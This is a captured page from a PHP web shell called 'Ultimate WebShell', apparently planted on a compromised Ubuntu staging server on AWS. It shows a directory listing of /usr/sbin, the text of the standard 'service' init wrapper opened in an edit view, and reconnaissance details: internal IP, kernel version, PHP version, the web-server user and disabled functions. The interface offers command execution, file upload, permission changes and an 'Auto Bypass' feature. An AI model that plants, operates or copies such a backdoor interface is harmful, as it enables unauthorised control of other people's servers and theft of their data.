WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core
17292
usr
sbin
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-02-25 16:32:52
-
aa-exec
File
22.16 KB
0755
2023-06-29 11:30:47
aa-remove-unknown
File
2.86 KB
0755
2023-06-29 11:30:39
aa-status
File
7.11 KB
0755
2023-06-29 11:30:39
add-shell
File
695 B
0755
2016-01-26 18:17:55
addgroup
File
36.4 KB
0755
2015-07-02 20:11:22
adduser
File
36.4 KB
0755
2015-07-02 20:11:22
apparmor_status
File
7.11 KB
0755
2023-06-29 11:30:39
arp
File
54.09 KB
0755
2014-06-30 13:19:24
arpd
File
46.74 KB
0755
2019-04-16 12:37:11
chat
File
26.01 KB
0755
2020-07-23 15:09:52
chgpasswd
File
53.33 KB
0755
2024-02-07 10:59:49
chpasswd
File
49.43 KB
0755
2024-02-07 10:59:49
chroot
File
38.8 KB
0755
2017-03-02 18:07:22
cpgr
File
51.48 KB
0755
2024-02-07 10:59:49
cppw
File
51.48 KB
0755
2024-02-07 10:59:49
cron
File
43.43 KB
0755
2022-05-10 22:15:25
delgroup
File
16.13 KB
0755
2015-07-02 20:11:22
deluser
File
16.13 KB
0755
2015-07-02 20:11:22
dnsmasq
File
452.91 KB
0755
2024-04-23 19:46:09
dpkg-divert
File
0 B
0
1970-01-01 00:00:00
dpkg-preconfigure
File
3.52 KB
0755
2019-05-08 18:33:33
dpkg-reconfigure
File
4.23 KB
0755
2019-05-08 18:33:33
dpkg-statoverride
File
0 B
0
1970-01-01 00:00:00
e2freefrag
File
10.24 KB
0755
2022-06-03 20:47:31
e4defrag
File
26.53 KB
0755
2022-06-03 20:47:31
faillock
File
14.4 KB
0755
2024-03-19 16:18:59
fanatic
File
35.21 KB
0755
2017-12-12 16:13:01
fanctl
File
41.97 KB
0755
2019-04-23 10:35:14
fdformat
File
22.57 KB
0755
2022-06-14 21:28:54
filefrag
File
14.31 KB
0755
2022-06-03 20:47:31
genl
File
46.69 KB
0755
2019-04-16 12:37:11
groupadd
File
57.42 KB
0755
2024-02-07 10:59:49
groupdel
File
65.83 KB
0755
2024-02-07 10:59:49
groupmod
File
67.7 KB
0755
2024-02-07 10:59:49
grpck
File
53.31 KB
0755
2024-02-07 10:59:49
grpconv
File
49.19 KB
0755
2024-02-07 10:59:49
grpunconv
File
49.2 KB
0755
2024-02-07 10:59:49
iconvconfig
File
26.66 KB
0755
2026-01-30 14:13:42
invoke-rc.d
File
19.41 KB
0755
2016-11-29 17:28:22
ip6tables-apply
File
6.85 KB
0755
2016-02-19 15:20:21
iptables-apply
File
6.85 KB
0755
2016-02-19 15:20:21
ldattach
File
26.63 KB
0755
2022-06-14 21:28:54
logrotate
File
63.11 KB
0755
2017-08-10 15:16:07
mkinitramfs
File
10.24 KB
0755
2019-10-07 10:53:35
mklost+found
File
10.25 KB
0755
2022-06-03 20:47:31
netplan
File
17.94 KB
0755
2019-09-27 16:27:57
newusers
File
73.84 KB
0755
2024-02-07 10:59:49
nfnl_osf
File
14.37 KB
0755
2016-02-19 15:21:11
nologin
File
5.95 KB
0755
2024-02-07 10:59:50
pam-auth-update
File
19.09 KB
0755
2024-03-19 16:16:59
pam_getenv
File
2.82 KB
0755
2024-03-19 16:16:59
pam_timestamp_check
File
10.38 KB
0755
2024-03-19 16:18:59
pppd
File
385.73 KB
4754
2020-07-23 15:09:52
pppdump
File
18.1 KB
0755
2020-07-23 15:09:52
pppoe-discovery
File
18 KB
0755
2020-07-23 15:09:52
pppstats
File
13.99 KB
0755
2020-07-23 15:09:51
pwck
File
45.36 KB
0755
2024-02-07 10:59:49
pwconv
File
41.27 KB
0755
2024-02-07 10:59:49
pwunconv
File
36.43 KB
0755
2024-02-07 10:59:49
readprofile
File
14.52 KB
0755
2022-06-14 21:28:54
remove-shell
File
749 B
0755
2016-01-26 18:17:55
rfkill
File
10.29 KB
0755
2018-06-20 11:54:19
rmt
File
54.95 KB
0755
2023-12-06 12:12:24
rmt-tar
File
54.95 KB
0755
2023-12-06 12:12:24
rsyslogd
File
585.28 KB
0755
2022-05-23 17:31:02
rtcwake
File
38.8 KB
0755
2022-06-14 21:28:54
service
File
9.82 KB
0755
2016-09-12 08:57:57
setvesablank
File
10.27 KB
0755
2016-09-22 17:33:23
sshd
File
772.48 KB
0755
2025-02-18 15:23:47
tarcat
File
936 B
0755
2023-12-06 12:12:23
tunelp
File
22.53 KB
0755
2022-06-14 21:28:54
tzconfig
File
106 B
0755
2025-04-03 16:57:11
update-alternatives
File
46.61 KB
0755
2022-05-27 10:37:03
update-ca-certificates
File
5.25 KB
0755
2024-09-25 19:45:49
update-initramfs
File
8.38 KB
0755
2019-10-07 10:53:35
update-mime
File
8.84 KB
0755
2015-10-30 15:39:30
update-passwd
File
30.41 KB
0755
2016-01-02 23:13:25
update-rc.d
File
14.1 KB
0755
2016-02-29 12:24:38
useradd
File
118.72 KB
0755
2024-02-07 10:59:49
userdel
File
81.92 KB
0755
2024-02-07 10:59:49
usermod
File
118.5 KB
0755
2024-02-07 10:59:49
vcstime
File
6.26 KB
0755
2016-09-22 17:33:23
vigr
File
55.7 KB
0755
2024-02-07 10:59:49
vipw
File
55.7 KB
0755
2024-02-07 10:59:49
visudo
File
187.89 KB
0755
2025-06-26 17:58:07
zic
File
50.54 KB
0755
2026-01-30 14:13:42
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: service
#!/bin/sh ########################################################################### # /usr/bin/service # # A convenient wrapper for the /etc/init.d init scripts. # # This script is a modified version of the /sbin/service utility found on # Red Hat/Fedora systems (licensed GPLv2+). # # Copyright (C) 2006 Red Hat, Inc. All rights reserved. # Copyright (C) 2008 Canonical Ltd. # * August 2008 - Dustin Kirkland <kirkland@canonical.com> # Copyright (C) 2013 Michael Stapelberg <stapelberg@debian.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # On Debian GNU/Linux systems, the complete text of the GNU General # Public License can be found in `/usr/share/common-licenses/GPL-2'. ########################################################################### is_ignored_file() { case "$1" in skeleton | README | *.dpkg-dist | *.dpkg-old | rc | rcS | single | reboot | bootclean.sh) return 0 ;; esac return 1 } VERSION="`basename $0` ver. 0.91-ubuntu1" USAGE="Usage: `basename $0` < option > | --status-all | \ [ service_name [ command | --full-restart ] ]" SERVICE= ACTION= SERVICEDIR="/etc/init.d" OPTIONS= is_systemd= if [ $# -eq 0 ]; then echo "${USAGE}" >&2 exit 1 fi if [ -d /run/systemd/system ]; then is_systemd=1 fi cd / while [ $# -gt 0 ]; do case "${1}" in --help | -h | --h* ) echo "${USAGE}" >&2 exit 0 ;; --version | -V ) echo "${VERSION}" >&2 exit 0 ;; *) if [ -z "${SERVICE}" -a $# -eq 1 -a "${1}" = "--status-all" ]; then cd ${SERVICEDIR} for SERVICE in * ; do case "${SERVICE}" in functions | halt | killall | single| linuxconf| kudzu) ;; *) if ! is_ignored_file "${SERVICE}" \ && [ -x "${SERVICEDIR}/${SERVICE}" ]; then out=$(env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" status 2>&1) retval=$? if echo "$out" | egrep -iq "usage:"; then #printf " %s %-60s %s\n" "[?]" "$SERVICE:" "unknown" 1>&2 echo " [ ? ] $SERVICE" 1>&2 continue else if [ "$retval" = "0" -a -n "$out" ]; then #printf " %s %-60s %s\n" "[+]" "$SERVICE:" "running" echo " [ + ] $SERVICE" continue else #printf " %s %-60s %s\n" "[-]" "$SERVICE:" "NOT running" echo " [ - ] $SERVICE" continue fi fi #env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" status fi ;; esac done exit 0 elif [ $# -eq 2 -a "${2}" = "--full-restart" ]; then SERVICE="${1}" # On systems using systemd, we just perform a normal restart: # A restart with systemd is already a full restart. if [ -n "$is_systemd" ]; then ACTION="restart" else if [ -x "${SERVICEDIR}/${SERVICE}" ]; then env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" stop env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" start exit $? fi fi elif [ -z "${SERVICE}" ]; then SERVICE="${1}" elif [ -z "${ACTION}" ]; then ACTION="${1}" else OPTIONS="${OPTIONS} ${1}" fi shift ;; esac done # Operate against system upstart, not session unset UPSTART_SESSION if [ -r "/etc/init/${SERVICE}.conf" ] && which initctl >/dev/null \ && initctl version 2>/dev/null | grep -q upstart \ && initctl status ${SERVICE} 2>/dev/null 1>/dev/null then # Upstart configuration exists for this job and we're running on upstart case "${ACTION}" in start|stop|status|reload) # Action is a valid upstart action exec ${ACTION} ${SERVICE} ${OPTIONS} ;; restart|force-reload) # Map restart to the usual sysvinit behavior. # Map force-reload to restart as per Debian policy 9.3.2, # since there is no way to know if "reload" is supported stop ${SERVICE} ${OPTIONS} || : exec start ${SERVICE} ${OPTIONS} ;; esac fi run_via_sysvinit() { # Otherwise, use the traditional sysvinit if [ -x "${SERVICEDIR}/${SERVICE}" ]; then exec env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" ${ACTION} ${OPTIONS} else echo "${SERVICE}: unrecognized service" >&2 exit 1 fi } update_openrc_started_symlinks() { # maintain the symlinks of /run/openrc/started so that # rc-status works with the service command as well if [ -d /run/openrc/started ] ; then case "${ACTION}" in start) if [ ! -h /run/openrc/started/$SERVICE ] ; then ln -s $SERVICEDIR/$SERVICE /run/openrc/started/$SERVICE || true fi ;; stop) rm /run/openrc/started/$SERVICE || true ;; esac fi } # When this machine is running systemd, standard service calls are turned into # systemctl calls. if [ -n "$is_systemd" ] then UNIT="${SERVICE%.sh}.service" # avoid deadlocks during bootup and shutdown from units/hooks # which call "invoke-rc.d service reload" and similar, since # the synchronous wait plus systemd's normal behaviour of # transactionally processing all dependencies first easily # causes dependency loops if ! systemctl --quiet is-active multi-user.target; then sctl_args="--job-mode=ignore-dependencies" fi case "${ACTION}" in restart|status) exec systemctl $sctl_args ${ACTION} ${UNIT} ;; start|stop) # Follow the principle of least surprise for SysV people: # When running "service foo stop" and foo happens to be a service that # has one or more .socket files, we also stop the .socket units. # Users who need more control will use systemctl directly. for unit in $(systemctl list-unit-files --full --type=socket 2>/dev/null | sed -ne 's/\.socket\s*[a-z]*\s*$/.socket/p'); do if [ "$(systemctl -p Triggers show $unit)" = "Triggers=${UNIT}" ]; then systemctl $sctl_args ${ACTION} $unit fi done exec systemctl $sctl_args ${ACTION} ${UNIT} ;; reload) _canreload="$(systemctl -p CanReload show ${UNIT} 2>/dev/null)" if [ "$_canreload" = "CanReload=no" ]; then # The reload action falls back to the sysv init script just in case # the systemd service file does not (yet) support reload for a # specific service. run_via_sysvinit else exec systemctl $sctl_args reload "${UNIT}" fi ;; force-stop) exec systemctl --signal=KILL kill "${UNIT}" ;; force-reload) _canreload="$(systemctl -p CanReload show ${UNIT} 2>/dev/null)" if [ "$_canreload" = "CanReload=no" ]; then exec systemctl $sctl_args restart "${UNIT}" else exec systemctl $sctl_args reload "${UNIT}" fi ;; *) # We try to run non-standard actions by running # the init script directly. run_via_sysvinit ;; esac fi update_openrc_started_symlinks run_via_sysvinit
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED